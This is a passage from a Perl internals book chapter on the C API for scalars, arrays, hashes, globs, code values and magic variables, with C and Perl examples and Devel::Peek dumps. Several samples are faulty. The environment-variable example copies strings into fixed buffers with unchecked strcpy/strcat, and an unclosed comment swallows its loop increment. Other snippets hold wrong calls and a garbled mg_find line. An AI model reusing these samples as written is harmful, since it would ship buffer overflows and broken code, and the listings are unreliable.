svREFCNT_dec(SV *)

Decrements the reference count and calls sv_free if this count is 0. You should never call sv_free yourself.

SV* sv_bless (
   SV *rv, HV* stash);
int sv_isa(
   SV *, char *pkgname);
int sv_isobject(SV*);

sv_bless blesses rv under a package represented by stash. Please refer to the section Section 20.3.4" for an explanation of stashes. sv_isa returns 1 if it inherits from a class pkgname.

SV* sv_newmortal()
SV* sv_2mortal(SV*)
SV* sv_mortalcopy(SV*)

By default, if you create an SV, you are responsible for deleting it. If you create a mortal or temporary variable, Perl automatically deletes it the end of the current scope (unless someone else holds a reference to it).

sv_2mortal tags an existing SV as a mortal, and sv_2mortalcopy creates a mortal clone.

SV* perl_get_sv(
      char* varname,
      int   create)

To get a scalar variable as you are used to seeing in script space, you have to explicitly bind an SV to a name. create, if TRUE, forces it to create a variable if it didn't exist earlier. varname must always be qualified by the name of the package. To create $Foo::a, for example:

   SV *s = perl_get_av("Foo::a", 1);
sv_dump(SV*)

The name is a misnomer, since it is capable of pretty-printing the contents of all Perl value types (casting them to SV* if necessary). This is extremely useful if you have Perl under a debugger: for example, inside gdb, use

    call sv_dump(sv)

The mortal series of calls in Table 20.1 create a temporary SV or tag an existing value as temporary. These calls essentially tell Perl to shove the SV onto a stack called tmps_stack and call svREFCNT_dec on the SV at the end of the current scope. (More on this in the section "Inside Other Stacks.") Typically, all parameters passed between functions are tagged mortal, because neither the caller nor the called function wants to worry about the appropriate time to delete the SV and its contents; Perl automatically takes care of the memory management.

20.3.1.1 Using this API

Perhaps your eyes are somewhat glazed and your mind is numbed, so we will relieve the tedium by writing a custom interpreter using the API we have seen so far. (For now, this is our idea of fun!) Example 20.2 shows a function called create_envt_vars that creates a scalar variable for every environment variable.

Example 20.2: Creating Scalars for Environment Variables - the Hard Way!

#include <EXTERN.h>
#include <perl.h>
void create_envt_vars (char **environ)
{
    /*
     * Each element in environ is in the form <envt. var name>=<value>"
     */
    SV * sv = NULL;
    char **env = environ; /* for iterating through environ */
    char buf[1000];       /* will contain a copy of an envt variable */
    char *envt_var_name;  /* Name of the envt. variable, like PATH */
    char *envt_var_value; /* Its corresponding value */
    char var_name[100];   /* Fully qualified name of environment var */
    while (*env) {
        strcpy (buf, *env);
        /* Search for "=", replace it with '\0', thus splitting it into
         *  logical parts - envt variable name and the value
         */
        envt_var_name = buf; envt_var_value = buf;
        while (*envt_var_value != '=') envt_var_value++;
        *envt_var_value++ = '\0';
        /* Qualify the environment var with the package name.
         * PATH becomes $main::PATH
         */
        strcpy (var_name, "main::"); strcat(var_name, envt_var_name);
        sv = perl_get_sv (var_name, TRUE); /* TRUE => Force Create */
        /* Set the string value for the sv);
        sv_setpv(sv, envt_var_value);
        env++;  /* On to the next environ variable */
    }
}

static PerlInterpreter *my_perl;
main(int argc, char **argv, char **env) {
    my_perl = perl_alloc();
    perl_construct(my_perl);
    perl_parse(my_perl, NULL, argc, argv, env);
    create_envt_vars();
    perl_run(my_perl);
    perl_destruct(my_perl);
    perl_free(my_perl);
}

On a DEC Alpha box, you might compile and link it as follows:

% cc -o ex  -I/usr/local/lib/perl5/alpha-dec_osf/5.004/CORE \
            -L/usr/local/lib/perl5/alpha-dec_osf/5.004/CORE \
             ex.c -lperl -lsocket -lm

Now for the big test:

% ./ex -e 'print $USER'
sriram

Amazing, it works - try doing that with your regular Perl! Okay, so it's not a big deal, but you are definitely on your way to dirtying your hands more than you thought you could. Or would!

20.3.1.2 Inside SVs

An SV has the potential of being large, to accommodate the worst case of it morphing to any one of its subtypes. To avoid this, Perl keeps track of the information in two parts, as illustrated in Figure 20.3: a generic structure called "sv", which contains a bitmask flag, a reference count, and a pointer, sv_any, which refers to a "specific part."

Figure 20.3: An inside view of scalars. Each shaded box represents one SV.

The specific part is a structure of the appropriate type and is one of several structures called xpv, xpviv, xpvnv, and so on, depending on what the bitmask flag says is contained by the scalar. A scalar may start life as a number, but the moment it is used in a string context, it morphs to a structure containing both the number and a string. Figure 20.3 shows an example of the SV (the middle one) containing a double and a string at the same time. If you modify its value with, say, sv_setnv, it sets a bit flag in sv_flags to indicate that the string part of it is not valid any more. Perl doesn't morph a structure unless absolutely necessary.

The Devel::Peek module gives you script-level access to the internal information discussed previously:

use Devel::Peek 'Dump';  # Import the Dump subroutine
$a = 15602;
Dump ($a);

This outputs

SV = IV(0x663f1c)
  REFCNT = 1
  FLAGS = (IOK,pIOK)
  IV = 15602

Modify $a to a string and see what happens to it:

use Devel::Peek 'Dump';
$a = 10;           # Start off with an integer value
$a .= " Ten";      # Convert to a string
Dump ($a);

Its output is as follows:

SV = PVIV(0x7b2ef0)
  REFCNT = 1
  FLAGS = (POK,pPOK)
  IV = 10
  PV = 0x7b2f00 "10 Ten"
  CUR = 6
  LEN = 11

Note that the SV still contains the old integer value (10) but that field will be ignored because the FLAGS field indicates that only its string contents are valid.

A basic integer value costs you at least 28 bytes on a typical workstation (sizeof(SV) + sizeof(XPVIV) + malloc overhead). Strings and arrays are more expensive than what you might infer from the length or count alone. The dump above shows that Perl allocated 11 bytes for the string (the xpv_len field) instead of the minimum 6 bytes (the length of the string, as stored in the xpv_cur field); this means that you can append 5 more bytes to the string without triggering a reallocation. Because it is geared for performance and convenience (being able to treat numbers and strings as one entity), it is not frugal with space at all. In fact, Perl applies this strategy of trading off space for performance for practically all data structures.[6]

[6] One notable exception being hashes, which share their key strings in one string table, thus minimizing space requirements but taking a small hit in performance.

There are no simple xiv or xnv structures that contain just an integer or a floating-point number. I do not know the reason for this, and idly speculate that it's so because a typical script requires numbers to morph into strings (while doing a print, for example) or vice versa (reading from files).

Figure 20.3 also shows the reference counts of the three scalars. The reference count of the middle scalar is 2 because of two arrows pointing to it; the arrows coming from the left imply a symbol table entry (for global and local variables) or a scratchpad for lexical variables, as we saw in Chapter 3. Note that all pointers to an SV (to any Perl value, actually) refer to the outer structure, never to the "specific" part.

20.3.1.3 SVs and object pointers

As an extension writer, you are often interested in storing a pointer to a C or C++ object returned from an XSUB. Recall that the integer (IV) slot of a scalar is guaranteed to be big enough to hold a pointer. We use this facility as follows:

Matrix *m = new_matrix();
sv_setiv(sv, (IV) m);          # Cast pointer to an IV.  Ugh!

Crufty, to say the least, but that's the way it is.

In practice, C/C++ objects are always associated with blessed references because it allows the Perl programmer to use the arrow notation ($matrix->transpose()). Consider

RV *rv = newRV();
sv_setref_iv(rv, "Matrix", (IV) m);

This creates a new integer SV internally, sets it to the "integer" m, and makes rv point to this freshly allocated SV. It also blesses rv under the module Matrix. This is exactly as if you had said, in Perl space,

my $m = 0xfffa34a;     # Some pointer value, converted to an int
bless \$m, "Matrix";   # Return a blessed reference to $m.

We will use this snippet when discussing typemaps for objects, in the section "Object Interface Using XS Typemaps."

20.3.2 Array Values (AV)

An AV is a dynamic, contiguous array of pointers to SVs, and as we are used to seeing in script space, storing a value at an index beyond its current capacity triggers an automatic expansion of the array. Table 20.2 shows the API for manipulating an AV as a whole and for accessing its elements individually. Take note that unless you clear or undef an AV, it does not touch the reference counts of its constituent SVs.

Table 20.2: API for Array Values

Function/Macro

Description

AV * newAV()
AV * av_make(int num,
             SV  **ptr)

Creates an empty AV or a clone of another array of SV*.

I32  av_len(AV*);

Returns the highest index of the array (such as $#array).

SV** av_fetch (AV*,
               I32 index,
               I32 lval)

Retrieves the SV* from the given index. If lval is non-zero, it replaces the existing value (at that location) with an undef. Note that av_fetch returns an SV** (not SV*); this is the pointer to the position in the array where the SV was stored. This way you can not only make changes to the SV, but also modify the array itself (splice the array at that location, for example).

SV** av_store(AV*,
              I32 index,
              SV* val)

Stores an SV* at that index and returns an SV** just like av_fetch. Neither function updates the reference counts of the indexed element.

void av_clear (AV*)

Decrements the reference counts of its constituent scalars and replaces those positions with undef. It leaves the array intact.

void av_undef (AV*)

Decrements ref counts of all its scalars as well as of the array itself. In the typical case, this function deallocates the array. This is different from SVs in that they are deleted implicitly by decrementing the ref count (SvREFCNT_dec).

void av_extend(AV*,
               int num)

Extends the array to num elements. Even though the other functions automatically extend the array, they can only heuristically determine how much to extend it. If you expect to store a lot of entries, you'll save time and many potential reallocations by preextending the array.

void av_push (AV*, SV*)

Pushes one SV at the end of an AV. You have to write more code if you want to append an entire list. This and the following functions do not touch the SV's reference count.

SV* av_pop (AV* )

Pops an SV from the end but doesn't touch its reference count, so you must call SvREFCNT_dec or tag it as a temporary variable with sv_2mortal, in which case Perl deletes it at the end of the scope.

SV* av_shift(AV*)

Like av_pop but pops an SV from the front of the AV.

void av_unshift(AV*,
                I32 num)

Creates num empty spaces in front of the list (fills them with undef). You have to call av_store() to set each element's value.

AV *perl_get_av (
      char* varname,
      int   create)

Gets the AV corresponding to varname. Create the variable if create is TRUE.

20.3.2.1 Inside AVs

AVs, like SVs, are split into a generic part and a specific part. As it happens, this is true for the other value types also.

As shown in Figure 20.4, the xav_alloc field points to a dynamically allocated array of SV*s, the real meat of the AV. av_fill contains the last valid (or filled) index in this array, and av_max contains the total number of SV*s allocated for the array. Perl always strives to make sure it allocates memory in some "reasonable" quantities so that it doesn't have to realloc every time you push an element into this array. xav_array points to the first valid element. It starts off by pointing to xav_alloc[0], and gets incremented on an unshift to avoid having to move the rest of the elements to the left. In other words, the real contents of the AV are bounded by xav_array and av_fill.

Figure 20.4: AV internal structure. The shaded squares contain real data.

The xmg_magic pointer is typically NULL but refers to a "magic" structure if the array is special (such as @ISA), represents a blessed object, or is tied to a package.[7] xav_arylen is an SV* that starts off being NULL but springs into existence as a magical scalar when you use the $# notation on the array (to get or set the array length).

[7] You don't have to understand this paragraph until we have covered magical variables.

Devel::Dump gives you script-level access to the internal details of an array and of all its constituent scalars. Dump expects nonscalar values to be passed by reference:

use Devel::Dump;
@l = (1,2,3,4);
Dump(\@l);  # Pass @l by reference

20.3.3 Hash Values (HVs)

An HV is a table of hash entries (HEs), each representing a pair consisting of a string key and an SV*. No two hash entries in a hash table can have the same key. The API listed in Table 20.3 allows you to act on the HV as a whole, to fetch or store single elements, or to iterate through it one entry at a time.

Table 20.3: API for Hash Values

Function/Macro

Description

HV * newHV()

Creates a hash value.

SV**
hv_store(
    HV *hash,
    char* key, U32 klen,
    SV* val,   U32 hash)

Stores the key-value pair. It doesn't assume the key is a text string, so you have to supply the key length, klen. If hash is 0, Perl computes the hash automatically, which works very well for normal ASCII keys.

Like AVs, these functions do not touch the reference count of the value val.

SV**
hv_fetch(
   HV *hash,
   char* key, U32 klen,
   I32 lval)

As with AVs, an SV** is returned for efficiency, not for your convenience. When storing an entry, the interpreter has to call hv_fetch to see whether an entry corresponding to that key already exists. If so, it can simply replace the value part of the entry without having to traverse the structure all over again.

Typically, you should dereference the result and dispose of the returned SV* (call SvREFCNT_dec) or arrange to have it disposed of (sv_2mortal).

SV*
hv_delete(
   HV *hash,
   char* key, U32 klen,
   I32 flags)

Deletes an entry and decrements the ref count of the value. If you don't want the deleted value, pass G_DISCARD for the flags; otherwise, it returns a mortal copy of that value.

Since the entry is removed from the hash's data structures, it needs to return only an SV*, instead of SV**.

void hv_clear(HV *hash)

Equal to %h=(). Like av_clear(), it retains the outer array but gets rid of the hash entries, keys, and values. It also decrements the reference count of each value (not the hash itself).

void hv_undef(HV *hash)

Clears the HV and decrements its reference count.

I32 hv_iterinit(HV *hash)

Prepares to iterate through its list of entries and returns the number of elements in the HV. hv_iterinit and hv_iternextsv are used by the operators each, keys, and values.

SV*
hv_iternextsv(
     HV *hash,
     char** key,
     I32* pkeylen)

Get the next key and value. The key is returned by reference (along with its length). Unlike hv_fetch(), this function returns only an SV*. This is similar to calling each().

HV *
perl_get_hv (
    char * varname,
    int create)

Gets the HV corresponding to varname. Creates the variable if create is TRUE. varname must be qualified with the name of a package.

The iterating functions (hv_iter* ) are safe for deletion but not for insertion. That is, you can invoke hv_delete on the current entry while iterating on a hash value using hv_iternextsv, but you should not call hv_store, because that might trigger a complete reorganization of the hash table.

20.3.3.1 Inside HVs

The HV is a straightforward implementation of a hashing technique called collision chaining. The basic idea is to reduce a string key to an integer and use this number as an index into an ordinary dynamic array. Clearly, we cannot expect to reduce all possible string keys to unique array indices, so each element of this dynamic array points instead to a linked list of all hash entries that reduced to that index. Figure 20.5 shows this arrangement.

Figure 20.5: Hash value, containing hash entries

xhv_array is the dynamic array we mentioned above, xhv_fill indicates the number of elements that have linked lists hanging off them, and xhv_keys contains the total number of hash entries. Given a string, hv_fetch() computes the appropriate index and traverses the corresponding linked list, comparing the key to each hash entry's key value.

The translation of a string to an array index is a two-step process (for reasons to be discussed soon). First the string is run through an algorithm called a hash function, which computes an integer from a string without worrying about whether or not that number is practical to use as an array index. Perl's hash function is implemented as follows:

int i = klen;
unsigned int hash = 0;
char *s = key;
while (i--)
    hash = hash * 33 + *s++;

The resulting number is known as a hash. There is no guarantee that different strings hash to different hash values. Note that if you have a different hash algorithm, you can compute the hash yourself and supply it to hv_store (refer to Table 20.3).

To convert the hash to a practical array index, Perl folds it into the array's maximum size:

index = hash & xhv_max;

Ideally, we want the entries to spread out evenly around the array to keep the linked lists short. Perl's hashing algorithm does this surprisingly well for typical ASCII strings, but as we mentioned earlier, there's no guarantee that a given set of strings disperses well. So if xhv_keys exceeds xhv_fill, Perl takes it as an indication that one or more linked lists are unnecessarily long and that hv_fetch is likely to spend a considerable amount of time traversing these lists. Therefore, when such a condition occurs, Perl immediately reorganizes the hash table: the dynamic array xhv_array is doubled in size, and the entries are reindexed. Each hash entry stores its hash value, so it doesn't have to be hashed again when the table is reorganized.

You can get an idea of the hash efficiency by printing an associative array in a scalar context, as follows:

# Create a hash
for (1 .. 1000) {$h{'foo' . $_} = 1;} # Create 1000 entries
print scalar(%h);

This prints "406/1024" on my machine, which is simply a ratio of xhv_fill and xhv_max. The lower the ratio, the faster the hash access, because, on average, the linked lists are short.

If you know you are going to be performing a large number of insert operations on a hash, you can improve its efficiency in script space by telling it to preallocate a certain-sized dynamic array, like this:

keys %h = 400; # set xhv_max

Perl rounds it up to the next higher power of two: 512.

The xhv_riter and xhv_eiter fields are used by the iterator functions, hv_iterinit and hv_iternextsv, and constitute a cursor over the hash entries. xhv_riter contains the current row index, and xhv_eiter contains the pointer to the current entry.

Most object-oriented Perl implementations use hash tables for storing object attributes, which means that all instances of a given class would typically have the same set of key strings. To prevent unnecessary duplication, the actual key strings are maintained in a systemwide shared string table (strtab in strtab.h). strtab is a simplified HV: each value here keeps a reference count of the number of uses of that string. When you say "$h{'foo'}", the string foo is first entered into strtab if it is not already present. Then the hash entry for $h{foo} is created in the HV for %h. It turns out that performance suffers very little; if there are lots of duplicates, shared storage saves time because the key is malloc'ed only once. Also, since the hash algorithm needs to be executed only once, the performance is pretty good even when there aren't too many duplicates.

The shared string table is used only for immutable strings (remember that hash key strings cannot be changed). User-defined SVs containing strings do not get to use this table.

20.3.4 Glob Values and Symbol Tables

We saw in Chapter 3 that typeglobs, also known as glob values, or GVs, connect other value types with a symbol table entry. An identifier name, such as "foo", is linked by the GV to $foo, @foo, %foo, &foo, a filehandle called foo, and a format called foo.

GVs and symbol tables work so much in cahoots that all symbol table manipulation code is also lumped into gv.c. Symbol tables are internally implemented as hash tables (HVs) and hence are referred to as stashes (short for symbol table hash). Each package has its own stash and contains pointers to nested packages' stashes. The main stash, available from a global variable[8] called defstash, contains pointers to other "top-level" packages' stashes. Table 20.4 shows the important functions for accessing GVs and the symbol table.

[8] Or per-interpreter variable if MULTIPLICITY is defined.

Table 20.4: API for Glob Values and Stashes

Function/Macro

Description

GvSV, GvAV, GvHV,
GvIO, GvFORM

Return the appropriate value pointers hanging off the GV.

HV *gv_stashpv(
         char *name,
         int create)

Given a package name, get the corresponding HV.

The names don't need the trailing "::", unlike in script space.

HV *gv_stashsv(
    SV *, int create)

Same as above. SV* contains the name of the package.

HV *SvSTASH (SV* sv)

Get the stash from a blessed object. If sv is a reference, dereference it first: SvSTASH (SvRV(sv)).

char* HvNAME(HV* stash)

Given a stash, return the package name.

Standard variables in script space such as $_, $@, $&, $`, and $' are available as global variables in C space: defgv, errgv, ampergv, leftgv, and rightgv, respectively. For example, if you know that $_ contains a number, you can extract it in C as follows:

int i = SvIV(GvSV(defgv)); /* $_ and @_ are represented by defgv */

20.3.4.1 Inside glob values and symbol tables

Figure 20.6 shows most of the interesting components of a GV.

Figure 20.6: Glob value structure

The xgv_name field stores the name of the variable (without the prefix). The pointers to the contained values ($foo, @foo, and so on) are encapsulated in a separate structure called gp to enable fast aliasing. In the typical case in which you don't reuse the same name for different types of variables, all but one of the value pointers are NULL.

Symbol tables are HVs that map variable names to GVs. But aren't HVs supposed to store SVs only? Well, you may have noticed that all value types have identical- looking wrapper structures that maintain the reference count, flags, and the pointer to an internal structure. Because they are identical, you can cast an AV*, HV*, CV* to an SV* and thus fool the HV into storing anything you want. If you were to do this yourself, be careful of the HV calls that decrement the reference count of a contained "SV" (hv_delete, for example). This is because they will trigger an sv_free() if the reference count becomes 0, and if it is not an SV, you are in trouble.

20.3.5 Code Values

We have now finished studying all the fundamental data types used in Perl. Next we study code values, which represent subroutines, eval blocks, and format declarations. This explanation will enable you to call Perl subroutines efficiently from C and also give you a visceral understanding of how lexical variables and closures are implemented.

Table 20.5 shows the API for CVs; there's not much you can do with CVs except call them. Except for perl_call_sv, all the other API functions accept the name of a procedure rather than the CV itself.

Table 20.5: API for Code Value

Function/Macro

Description

CV*
perl_get_cv(char *name,
            int create)

Get the CV for a given name. You should always set create to FALSE, because a TRUE value automatically creates a blank CV, which is useless to an application writer.

int
perl_call_sv(SV* cv,
            int flags)

Call a subroutine indicated by the cv parameter. (Yes, you'll need to cast the CV to an SV.) It returns the number of return parameters pushed onto the stack. flags is explained below.

perl_call_argv(
    char *sub,
    I32  flags,
    char **argv);

Discussed in Table 19.1.

perl_call_va (
    char *sub,
    [char *type, arg],*
    ["OUT",]
    [char *type, arg,]*
);

Discussed in Table 19.1. We will implement this convenience function later in the section "Easy Embedding API."

int perl_call_pv (
        char* sub_name,
        int flags)

Call a subroutine by name. A thin wrapper over perl_call_sv.

int perl_call_method(
       char *method_name,
      int flags)

Call a method of a class by name. The first parameter on the stack must be either an SV containing the name of the class or a blessed reference of the class.

There are other ways of calling Perl subroutines, such as perl_call_argv and perl_call_va, which we saw in the last chapter. All these functions are wrappers around perl_call_sv and attempt to hide the messaging protocol details to some extent. The flags parameter is a combination of any of the following bitmasks defined in perl.h:

G_DISCARD

Discards all return parameters from the function.

G_SCALAR, G_ARRAY

Specifies a scalar or array context, scalar being the default. The called subroutine can use wantarray to find out the caller's intention. These flags can also be used in conjunction with G_DISCARD. This is useful when you want to affect the way a function invoking wantarray works, even if you are not interested in the results.

G_EVAL, G_KEEPERR

Wraps an eval block around the call. perl_eval_sv() assumes this flag automatically. When an eval'd block dies, Perl assigns die's string argument to errgv ($@) and clears all temporary variables created in that block. Perl checks to see whether any of these variables is a blessed object and, if so, calls its DESTROY routine. There's a chance that this routine might invoke die (after all, it is user-defined code). Here we have a situation in which errgv is already computed and an additional exception is thrown. Using G_KEEPERR, you instruct Perl to concatenate this new exception string to errgv instead of overwriting it.

20.3.5.1 Inside CV

A CV has the same overall structure as the other value types: a generic part and a specific part. Consider the following piece of code, which defines a function in another package (by fully qualifying the name) and examines the function using Devel::Peek:

package Foo;
sub main::bar {   #Introduce a function in a different package
   my $a = 10;
}
use Devel::Peek;
Dump(\&main::bar);

The dump looks like this:

SV = PVCV(0x774300)
  REFCNT = 2
  FLAGS = ()
  IV = 0
  NV = 0
  COMP_STASH = 0x6635f0 "Foo"
  START = 0x7744d0
  ROOT = 0x774650
  XSUB = 0x0
  XSUBANY = 0
  GVGV::GV = 0x66365c   "main" :: "bar"
  FILEGV = 0x660418     "_<foo.pl"
  DEPTH = 0
  PADLIST = 0x66362c

The COMP_STASH field indicates that the "Foo" stash would be active when bar() executes, although this subroutine is defined in package main. The ROOT field indicates the root opcode of the syntax subtree for the CV, and START is the address of the opcode to get control when the function starts. The XSUB field either is NULL or contains a pointer to a C subroutine. The DEPTH field indicates the depth of recursion, and PADLIST refers to a list of scratchpads for storing lexical variables defined inside that subroutine. More on this next.

20.3.5.2 How local and my work

Perl variables, as we are well aware, can be global, dynamic (tagged with local), or lexical (my). Global variables are accessible via the stash and the corresponding typeglob. When Perl encounters the global variable $a, it produces the opcode gvsv, which places the corresponding GV's scalar value on the stack, at run-time.

When Perl parses "local $a," it still outputs the same gvsv opcode, but this time it sets a special flag in that opcode to "localize" the scalar. At run-time, the corresponding opcode function pp_gvsv checks this flag and, if it is set, replaces the GV's scalar value with a new scalar value and pushes this new value onto the argument stack. Meanwhile, the old SV sits safely in something called a savestack (discussed later, in the section "Inside Other Stacks"). Subsequent accesses of $a within that scope (or a nested scope) lead you, via a's GV, to the newly allocated scalar value.

my variables are stored and treated very differently. We mentioned earlier that each CV contains a padlist, a list of scratchpads, as illustrated in Figure 20.7.

Figure 20.7: Inside look at my variables

The padlist is an ordinary AV. Its 0th element points to an AV containing all lexical variable names used within that subroutine (not just declared within that subroutine). The names contain their prefix symbols, so $a and %a have their own unique entries. The padlist's first element points to a scratchpad array (also an AV), whose elements contain the values corresponding to the lexical variables named in the 0th row. As you can see, the padlist is an alternative symbol table because it contains a logical pairing of variable names and values.

When the subroutine recurses, a new scratchpad is allocated for that recursion level. You'll notice that a CV requires at least three AVs (one for xcv_padlist, one for storing the names, and one or more for storing values).

When multithreading is introduced into Perl (Version 5.005 onward), each thread will get its own scratchpad,[9] which means that lexical variables will continue to be completely private to a recursion level and thread. (Package global variables will continue to be global, of course.)

[9] This is according to Malcolm Beattie's current prototype patches for supporting POSIX threads.

my variables are a shade faster than local variables. The reason is that local allocates a new value at run-time to temporarily occlude the global value. In contrast, my variables are already unique to a CV, so they are typically allocated once, at parse time. The only reason to create a fresh my value is in case of recursion, which is not a typical occurrence. In future releases of Perl, multiple threads executing the same CV will also require run-time allocation of lexical variables.

When you access a lexical variable, Perl's code generator outputs an opcode called padsv, equivalent to gvsv (which is used for global or local variables). padsv remembers the offset of the variable inside the scratchpad (1 for %a in Figure 20.7). At run-time, Perl wastes no time at all fetching the corresponding value and pushing it on the stack.

20.3.5.3 Closures

This brief introduction to CVs and lexical variables leads us to the subject of closures. When a closure is created, Perl allocates a CV, points it to the starting opcode for the subroutine, and supplies it with its own private padlist. The padlist contains pointers to all lexical variables used by that closure, whether or not they were created within that block, as illustrated by Figure 20.8.

Figure 20.8: Scratchpad picking up lexicals from containing CVs' scratchpads

For those lexicals picked up from the CV containing the closure ($a in Figure 20.8), the scratchpad contains direct pointers to the appropriate values, and the reference count of those values is incremented. Lexicals such as $b, created within the closure, are freshly allocated. Either way, the space allocated for a lexical variable is not deallocated as long as any subroutine using it can be called.

20.3.5.4 Objects versus closures

In Chapter 4, Subroutine References and Closures, we noted the similarity between objects and closures: both represent a binding between code and data. In other words, an object with three member functions can instead be represented as three closures acting on private variables borrowed from their containing environment.

Clearly, the closure approach is a lot more expensive in space; to represent 100 objects' worth of information, you require 300 unique closures, which works out to 900 AVs. In contrast, if you use a hash representation for storing object attributes, you need 100 hash tables and 9 AVs (three per subroutine).

On the other hand, calling a closure is faster than invoking an object's method. This is because a closure's variables are ready to be used as soon as the procedure is called, whereas an object's method has to dereference the object reference and then make a hash access for each attribute. The following benchmark compares the speed of an object accessor method to an equivalent closure - the latter approach is two to three times faster on my PC:

#--------------------------------------------------------------
package OBJECT;                    # Pkg for timing object accessors
sub new {
   bless {'abc' => 10};
}
sub abc {                          # Fetch the abc attribute
    $_[0]->{'abc'};
    }
sub increment {                    # Increment the abc attribute
    $_[0]->{'abc'}++;
}
#--------------------------------------------------------------
package CLOSURE;                   # Pkg for timing closures
sub new {
  my $abc = 10;                    # member data.
  $rs_increment = sub {$abc++};    # equivalent of OBJECT::increment
  $rs_abc       = sub {$abc}  ;    # equivalent of OBJECT::abc
  ($rs_increment, $rs_abc);
}
#--------------------------------------------------------------
package main;
use Benchmark;
$a = OBJECT->new();                # Create a new object
($inc, $fetch) = CLOSURE->new();   # Create two closures
timethese(1000000, {
   Object  =>  '$a->increment',    # call an object method
   Closure =>  '&$inc'             # call a closure
});

On my PC, this prints

Benchmark: timing 1000000 iterations of Closure, Object...
   Closure: 13 secs (14.39 usr  0.00 sys = 14.39 cpu)
    Object: 45 secs (45.14 usr  0.00 sys = 45.14 cpu)

20.3.6 Magic Variables[10]

[10] This section can be skipped on a first reading.

There are ordinary user-defined variables containing strings, numbers, and references; then there are magical variables, those that have one or more special properties. A tied variable, for example, is magical because it contains pointers to a tied object and invokes that object's FETCH and STORE methods when read from and written to, as we saw in Chapter 9, Tie. Built-in variables such as $! and %SIG are also special: when $! is read from, Perl implicitly reads the C variable errno; when %SIG is written to, Perl resets the signal handler.

A magical scalar variable is shown in Figure 20.9. It contains the normal scalar fields that you saw earlier and, in addition, points to a linked list of properties. A structure called MAGIC represents each property and provides a semblance of uniformity over the different types of properties, as we shall soon see. Let us look at this structure in some detail before we use this facility to our advantage.

Figure 20.9: Magical scalar

A property, as seen in Figure 20.10, is an object containing a property type, a pointer to some data private to that property, and a pointer to a virtual table (or vtbl, a table of pointers to functions, in C++ parlance). When a variable is read from, written to, cleared, or destroyed, or if its length is accessed, Perl first updates the variable's value (the string, integer, or double fields) and then calls the accessor function responsible for the appropriate action (reading, writing, clearing, and so on; refer to Figure 20.10). If the variable has more than one property, the corresponding accessor function from each property is called, to give all of them a chance to affect the value of that variable as they please. An accessor can have side-effects too. For example, when you modify %SIG, each of its properties' svt_set function is invoked. One of these functions updates the signal handler.

Figure 20.10: MAGIC: Uniform interface for representing special properties

Perl comes with a set of prebuilt virtual tables associated with unique property types, which are simply unique characters. For example, the virtual table to handle tied arrays is indicated by the character "P." Please take a look at the perlguts document if you are interested in the other built-in types. A value can have at most one property of a given type in its list. There's one property type, identified by the character ~, which is a hook for an extension writer to supply a custom virtual table. Let us see how to use this particular type.

To attach special properties to a scalar, use the sv_magic function, like this:

sv_magic(sv, obj, '~', "foo", 3);

This function upgrades the scalar value to an XPVMG structure internally and tells Perl not to attach any of its predefined virtual tables (because of ~). In addition, it creates one MAGIC structure and hangs it off the scalar. obj is an SV of your choice, containing user-defined data and meant for the accessor functions to distinguish between one magical variable and another. The last two parameters simply give a name to the property: an identifier string and length. Typically, you use the variable's name.

To access a certain property structure from a scalar, use the mg_find function:

MAGIC *m = mg_find(sv(,'~'));

Let us use these two functions to create a low-level tie mechanism: call a custom function when something happens to the variable. The procedure foo_tie in the following example shows how to associate a variable $foo in Perl space to a C variable my_foo:

int my_foo;  /* to be tied to $foo at script level */
int foo_get (SV *sv, MAGIC *mg)
{
    sv_setiv(sv, my_foo);   /* return my_foo's value */
    printf ("GET foo => %d\n", my_foo);
    return 1; /* return value not used */
}
int foo_set (SV *sv, MAGIC *mg)
{
    my_foo = SvIV(sv);     /* set my_foo's value     */
    printf ("SET foo => %d\n", my_foo);
    return 1; /* return value not used */
}
MGVTBL foo_accessors = {   /* Custom virtual table */
    foo_get, foo_set, NULL,  NULL,  NULL
};
void foo_tie ()
{
    MAGIC *m;
    /* Create a variable*/
    char *var = "main::foo";
    SV *sv = perl_get_sv(var,TRUE);
    /* Upgrade the sv to a magical variable*/
    sv_magic(sv, NULL, '~', var, strlen(var));
    /* sv_magic adds a MAGIC structure (of type '~') to the SV.
       Get it and set the virtual table pointer */
    m = mg_find(sv, '~');
    m->mg_virtual = &foo_accessors;
    SvMAGICAL_on(sv);
}

Since foo_tie uses the `~' property type, Perl does not supply a prebuilt virtual table. foo_tie makes up for the omission by supplying its own custom virtual table, foo_accessors, which contains pointers to foo_get and foo_set. Note that these two functions access the integer slot of the scalar given to them.

The tie mechanism that is available at the scripting level is slightly more involved. It first asks the module to return an object (using TIESCALAR, TIEHASH, etc.) and uses that object as a parameter to sv_magic. Later, when the tied variable is read from, the sv_get accessor is called, which relays the call to the private object's FETCH method.

Previous: 20.2 Architecture | Advanced Perl Programming | Next: 20.4 Stacks and Messaging Protocol
20.2 Architecture | Book Index | 20.4 Stacks and Messaging Protocol


[Chapter 20] 20.4 Stacks and Messaging Protocol

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

20.4 Stacks and Messaging Protocol

Whew! We have now finished a reasonably in-depth look at all the value types offered by Perl. The next half of this chapter is devoted to understanding the data structures, API, and protocol used between caller and called subroutines.

We mentioned earlier that the argument stack is the data structure used for passing parameters and results between functions. Figure 20.11 shows the stack after calling foo(10,20), which in turn has called bar("hello", 30.2, 100).

Figure 20.11: Argument and mark stack after foo has been called and foo has just called bar

How does bar know how many parameters it should pick up from the top of stack? Well, Perl keeps track of the stretches of the argument stack using another stack called a markstack (a stack of bookmarks, in a sense). bar knows the parameters meant for it by simply computing the difference between the current top of stack and the bookmark stored at the top of markstack. This stretch of the stack corresponds to bar's @_ array. Conversely, when bar is ready to return, it dumps one or more results in its stretch of stack, and foo knows how many scalars have been returned by looking at the markstack.

All these manipulations happen transparently when you are in script space. But if you write C routines that are called by Perl (extending Perl) or call Perl functions from C (embedding Perl), there are some details to contend with. Although tools such as XS and SWIG help you write extensions easily, you will find that the following sections will pave the way for even more powerful and intuitive extensions (intuitive, that is, for the script writer).

20.4.1 Calling a Perl Subroutine

Let's start with the case in which you call a Perl subroutine from C, normally done when you embed the Perl interpreter in your application. Table 20.6 contains the macros (defined in pp.h) that you will need to use, in the order given. These macros may be difficult to remember on one reading, but the good news is that they are called exactly in the same order every time, and they sort of grow on you after a while.

Table 20.6: Macros Used in Calling a Perl Routine (Embedding)

Function/Macro

Description

dSP

Declare a few variables used by the following macros.

ENTER

Start scope.

SAVETMPS

All mortal variables created after this call will be deleted when FREETMPS is called.

See explanation of tmps_stack in the next section.

PUSHMARK

Remember the current top of stack (updates markstack).

